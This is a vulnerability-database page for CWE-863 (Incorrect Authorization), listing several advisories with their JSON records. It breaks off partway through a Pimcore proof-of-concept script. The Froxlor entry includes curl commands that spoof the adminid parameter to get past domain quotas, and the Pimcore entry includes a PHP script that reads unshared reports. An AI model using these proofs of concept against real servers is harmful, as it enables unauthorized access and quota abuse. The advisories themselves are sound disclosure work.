Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5537 vulnerabilities reference this CWE, most recent first.

GHSA-JVWG-PHXX-J3RP

Vulnerability from github – Published: 2026-04-21 17:15 – Updated: 2026-04-24 21:06
VLAI
Summary
October CMS: Editor Sub-Permission Bypass for Asset and Blueprint File Operations
Details

Fine-grained sub-permission checks for asset and blueprint file operations were not enforced in the CMS and Tailor editor extensions. This only affects backend users who were explicitly granted editor access but had editor.cms_assets or editor.tailor_blueprints specifically withheld, an uncommon permission configuration. In this edge case, such users could perform file operations (create, delete, rename, move, upload) on theme assets or blueprint files despite lacking the required sub-permission. A related operator precedence error in the Tailor navigation also disclosed the theme blueprint directory tree under the same conditions.

Impact

  • Only exploitable by authenticated backend users with editor access who have been specifically denied the editor.cms_assets or editor.tailor_blueprints sub-permissions
  • Does not affect default permission configurations where editor users typically have all sub-permissions granted
  • Users without editor.cms_assets could manipulate theme asset files (delete, rename, move, upload, create directories)
  • Users without editor.tailor_blueprints could manipulate blueprint files (delete, rename, move, upload, create directories)
  • Users without editor.tailor_blueprints could view the theme blueprint navigation tree, disclosing file paths and directory structure

Patches

The vulnerability has been patched in v3.7.16 and v4.1.16. Fine-grained document type permission checks are now enforced on all asset and blueprint file operation commands, and the navigation node condition logic has been corrected. All users are encouraged to upgrade to the latest patched version.

Workarounds

  • Restrict the editor permission to fully trusted administrators only
  • Remove the editor permission from any user who should not have asset or blueprint management access
Severity
3.3 (Low)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/system"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/system"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T17:15:38Z",
    "nvd_published_at": "2026-04-21T17:16:36Z",
    "severity": "LOW"
  },
  "details": "Fine-grained sub-permission checks for asset and blueprint file operations were not enforced in the CMS and Tailor editor extensions. This only affects backend users who were explicitly granted `editor` access but had `editor.cms_assets` or `editor.tailor_blueprints` specifically withheld, an uncommon permission configuration. In this edge case, such users could perform file operations (create, delete, rename, move, upload) on theme assets or blueprint files despite lacking the required sub-permission. A related operator precedence error in the Tailor navigation also disclosed the theme blueprint directory tree under the same conditions.\n\n### Impact\n- Only exploitable by authenticated backend users with `editor` access who have been specifically denied the `editor.cms_assets` or `editor.tailor_blueprints` sub-permissions\n- Does not affect default permission configurations where editor users typically have all sub-permissions granted\n- Users without `editor.cms_assets` could manipulate theme asset files (delete, rename, move, upload, create directories)\n- Users without `editor.tailor_blueprints` could manipulate blueprint files (delete, rename, move, upload, create directories)\n- Users without `editor.tailor_blueprints` could view the theme blueprint navigation tree, disclosing file paths and directory structure\n\n### Patches\nThe vulnerability has been patched in v3.7.16 and v4.1.16. Fine-grained document type permission checks are now enforced on all asset and blueprint file operation commands, and the navigation node condition logic has been corrected. All users are encouraged to upgrade to the latest patched version.\n\n### Workarounds\n- Restrict the `editor` permission to fully trusted administrators only\n- Remove the `editor` permission from any user who should not have asset or blueprint management access",
  "id": "GHSA-jvwg-phxx-j3rp",
  "modified": "2026-04-24T21:06:39Z",
  "published": "2026-04-21T17:15:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/security/advisories/GHSA-jvwg-phxx-j3rp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29179"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octobercms/october"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "October CMS: Editor Sub-Permission Bypass for Asset and Blueprint File Operations"
}

GHSA-JVX4-XV3M-HRJ4

Vulnerability from github – Published: 2026-04-16 00:46 – Updated: 2026-04-24 20:54
VLAI
Summary
Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()
Details

Summary

In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers_see_all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains_used counter is incremented) and potentially exhausting another admin's quota.

Details

In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:

$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));

The validation for this parameter only runs when the caller has customers_see_all == '1' (lines 410-421):

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
}

When a reseller does not have customers_see_all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:

  1. The domain INSERT at line 757: 'adminid' => $adminid
  2. The quota increment at lines 862-868:
$upd_stmt = Database::prepare("
    UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1
    WHERE `adminid` = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);

Compare with Domains.update() at lines 1386-1387 which correctly handles this case:

} else {
    $adminid = $result['adminid'];
}

The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domains_used')), but since the caller's domains_used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.

Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.

PoC

# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'

# Where:
# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)

# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1

# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;
# Expected: domains_used unchanged

# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
# Expected: domains_used incremented by 1

# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'

curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'

# The reseller's domains_used remains unchanged, allowing indefinite creation

Impact

  1. Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domains_used counter is never incremented.
  2. Quota exhaustion DoS: The target admin's domains_used counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.
  3. Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server.
  4. Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.

Recommended Fix

Add an else branch to force $adminid to the caller's own admin ID when customers_see_all != '1', consistent with the pattern used in Domains.update():

// In lib/Froxlor/Api/Commands/Domains.php, after line 421:

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
} else {
    // Force adminid to the caller's own ID when they don't have customers_see_all
    $adminid = intval($this->getUserDetail('adminid'));
}
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:46:47Z",
    "nvd_published_at": "2026-04-23T05:16:05Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin\u0027s `domains_used` counter is incremented) and potentially exhausting another admin\u0027s quota.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:\n\n```php\n$adminid = intval($this-\u003egetParam(\u0027adminid\u0027, true, $this-\u003egetUserDetail(\u0027adminid\u0027)));\n```\n\nThe validation for this parameter only runs when the caller has `customers_see_all == \u00271\u0027` (lines 410-421):\n\n```php\nif ($this-\u003egetUserDetail(\u0027customers_see_all\u0027) == \u00271\u0027 \u0026\u0026 $adminid != $this-\u003egetUserDetail(\u0027adminid\u0027)) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = \u0027-1\u0027)\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        \u0027adminid\u0027 =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n}\n```\n\nWhen a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this-\u003egetUserDetail(\u0027adminid\u0027)`. The unvalidated `$adminid` flows directly into:\n\n1. The domain INSERT at line 757: `\u0027adminid\u0027 =\u003e $adminid`\n2. The quota increment at lines 862-868:\n```php\n$upd_stmt = Database::prepare(\"\n    UPDATE `\" . TABLE_PANEL_ADMINS . \"` SET `domains_used` = `domains_used` + 1\n    WHERE `adminid` = :adminid\n\");\nDatabase::pexecute($upd_stmt, [\u0027adminid\u0027 =\u003e $adminid], true, true);\n```\n\nCompare with `Domains.update()` at lines 1386-1387 which correctly handles this case:\n\n```php\n} else {\n    $adminid = $result[\u0027adminid\u0027];\n}\n```\n\nThe initial quota check at line 321 checks the *caller\u0027s* own quota (`$this-\u003egetUserDetail(\u0027domains_used\u0027)`), but since the caller\u0027s `domains_used` is never incremented (the wrong admin\u0027s counter is incremented instead), this check passes indefinitely.\n\nNote: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller\u0027s own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.\n\n## PoC\n\n```bash\n# Step 1: Create a domain with the reseller\u0027s API key, specifying a different admin\u0027s ID\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-1.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\n# Where:\n# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all\n# - customerid=3 = one of the reseller\u0027s own customers\n# - adminid=1 = the super-admin\u0027s ID (or any other admin\u0027s ID)\n\n# Step 2: Verify the domain was created with adminid=1\n# In the database: SELECT adminid, domain FROM panel_domains WHERE domain=\u0027bypass-test-1.com\u0027;\n# Expected: adminid=1\n\n# Step 3: Check the reseller\u0027s quota was NOT incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=\u003creseller_id\u003e;\n# Expected: domains_used unchanged\n\n# Step 4: Check the target admin\u0027s quota WAS incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;\n# Expected: domains_used incremented by 1\n\n# Step 5: Repeat with different domain names to demonstrate unlimited creation\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-2.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-3.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\n# The reseller\u0027s domains_used remains unchanged, allowing indefinite creation\n```\n\n## Impact\n\n1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.\n2. **Quota exhaustion DoS**: The target admin\u0027s `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.\n3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.\n4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect.\n\n## Recommended Fix\n\nAdd an `else` branch to force `$adminid` to the caller\u0027s own admin ID when `customers_see_all != \u00271\u0027`, consistent with the pattern used in `Domains.update()`:\n\n```php\n// In lib/Froxlor/Api/Commands/Domains.php, after line 421:\n\nif ($this-\u003egetUserDetail(\u0027customers_see_all\u0027) == \u00271\u0027 \u0026\u0026 $adminid != $this-\u003egetUserDetail(\u0027adminid\u0027)) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = \u0027-1\u0027)\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        \u0027adminid\u0027 =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n} else {\n    // Force adminid to the caller\u0027s own ID when they don\u0027t have customers_see_all\n    $adminid = intval($this-\u003egetUserDetail(\u0027adminid\u0027));\n}\n```",
  "id": "GHSA-jvx4-xv3m-hrj4",
  "modified": "2026-04-24T20:54:37Z",
  "published": "2026-04-16T00:46:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()"
}

GHSA-JW43-345W-92RC

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-13 00:01
VLAI
Details

Affected versions of Atlassian Jira Server and Data Center allow users who have watched an issue to continue receiving updates on the issue even after their Jira account is revoked, via a Broken Access Control vulnerability in the issue notification feature. The affected versions are before version 8.19.0.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-39119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-01T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Affected versions of Atlassian Jira Server and Data Center allow users who have watched an issue to continue receiving updates on the issue even after their Jira account is revoked, via a Broken Access Control vulnerability in the issue notification feature. The affected versions are before version 8.19.0.",
  "id": "GHSA-jw43-345w-92rc",
  "modified": "2022-07-13T00:01:36Z",
  "published": "2022-05-24T19:12:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39119"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-72737"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW59-9V6J-FPWH

Vulnerability from github – Published: 2022-11-01 12:00 – Updated: 2022-11-02 19:00
VLAI
Details

A remote unprivileged attacker can interact with the configuration interface of a Flexi-Compact FLX3-CPUC1 or FLX3-CPUC2 running an affected firmware version to potentially impact the availability of the FlexiCompact.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-27583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-31T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote unprivileged attacker can interact with the configuration interface of a Flexi-Compact FLX3-CPUC1 or FLX3-CPUC2 running an affected firmware version to potentially impact the availability of the FlexiCompact.",
  "id": "GHSA-jw59-9v6j-fpwh",
  "modified": "2022-11-02T19:00:30Z",
  "published": "2022-11-01T12:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27583"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW62-3VW4-M49F

Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-06 00:01
VLAI
Details

In PackageManager, there is a possible way to change the splash screen theme of other apps due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-206474016

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-39750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-30T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "In PackageManager, there is a possible way to change the splash screen theme of other apps due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-206474016",
  "id": "GHSA-jw62-3vw4-m49f",
  "modified": "2022-04-06T00:01:54Z",
  "published": "2022-03-31T00:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39750"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/android-12l"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW87-V85H-8H3X

Vulnerability from github – Published: 2022-01-11 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

An issue was discovered in dst-admin v1.3.0. The product has an unauthorized arbitrary file download vulnerability that can expose sensitive information.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-44586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in dst-admin v1.3.0. The product has an unauthorized arbitrary file download vulnerability that can expose sensitive information.",
  "id": "GHSA-jw87-v85h-8h3x",
  "modified": "2022-07-13T00:01:49Z",
  "published": "2022-01-11T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qinming99/dst-admin/issues/28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW8P-XR8R-2W5H

Vulnerability from github – Published: 2025-06-09 15:31 – Updated: 2025-10-06 21:30
VLAI
Details

Incorrect authorization vulnerability in TCMAN's GIM v11. This vulnerability allows an unprivileged attacker to create a user and assign it many privileges by sending a POST request to /PC/frmGestionUser.aspx/updateUser.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T13:15:22Z",
    "severity": "HIGH"
  },
  "details": "Incorrect authorization vulnerability in TCMAN\u0027s GIM v11. This vulnerability allows an unprivileged attacker to create a user and assign it many privileges by sending a POST request to /PC/frmGestionUser.aspx/updateUser.",
  "id": "GHSA-jw8p-xr8r-2w5h",
  "modified": "2025-10-06T21:30:44Z",
  "published": "2025-06-09T15:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40670"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-tcman-gim-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JWCC-GV4M-93X6

Vulnerability from github – Published: 2026-05-27 22:34 – Updated: 2026-07-10 19:07
VLAI
Summary
Pimcore has a CustomReports Share Bypass
Details

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.

  • The listing flow filters reports based on report-sharing rules
  • The detail flow only checks generic reports or reports_config permissions

As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.

In the local Docker reproduction:

  • The report poc-secret-report was not visible to the low-privileged user in the report list
  • The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():

However, getAction() only checks generic permissions and then loads the report directly by name:

This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:

  • Report name
  • Grouping information
  • Display and icon metadata
  • Data source configuration
  • Column configuration
  • Sharing settings

From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:

This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the reports permission
  • The target report is not globally shared and is not shared with that user or the user's roles

PoC

<?php
declare(strict_types=1);

use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_customreports');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_customreports');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
    $auditor->setPermissions(['reports']);
    $auditor->setRoles([]);
    $auditor->save();

    $timestamp = time();
    SettingsStore::set(
        'poc-secret-report',
        json_encode([
            'name' => 'poc-secret-report',
            'niceName' => 'PoC Secret Report',
            'group' => 'Audit',
            'dataSourceConfig' => [['type' => 'sql']],
            'columnConfiguration' => [],
            'shareGlobally' => false,
            'sharedUserNames' => ['admin'],
            'sharedRoleNames' => [],
            'menuShortcut' => true,
            'creationDate' => $timestamp,
            'modificationDate' => $timestamp,
        ], JSON_THROW_ON_ERROR),
        SettingsStore::TYPE_STRING,
        'pimcore_custom_reports'
    );

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new CustomReportController(), $container, $tokenResolver);

    $listRequest = new Request();
    $requestStack->push($listRequest);
    $listResponse = $controller->getReportConfigAction($listRequest);
    $requestStack->pop();
    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $getRequest = new Request(['name' => 'poc-secret-report']);
    $requestStack->push($getRequest);
    $getResponse = $controller->getAction($getRequest);
    $requestStack->pop();
    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

    echo json_encode([
        'vulnerability' => 'customreports_share_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_report' => [
            'name' => 'poc-secret-report',
            'shared_to' => ['admin'],
            'share_globally' => false,
        ],
        'result' => [
            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
            'listed_report_names' => $listedNames,
            'direct_get_returned_name' => $getData['name'] ?? null,
            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
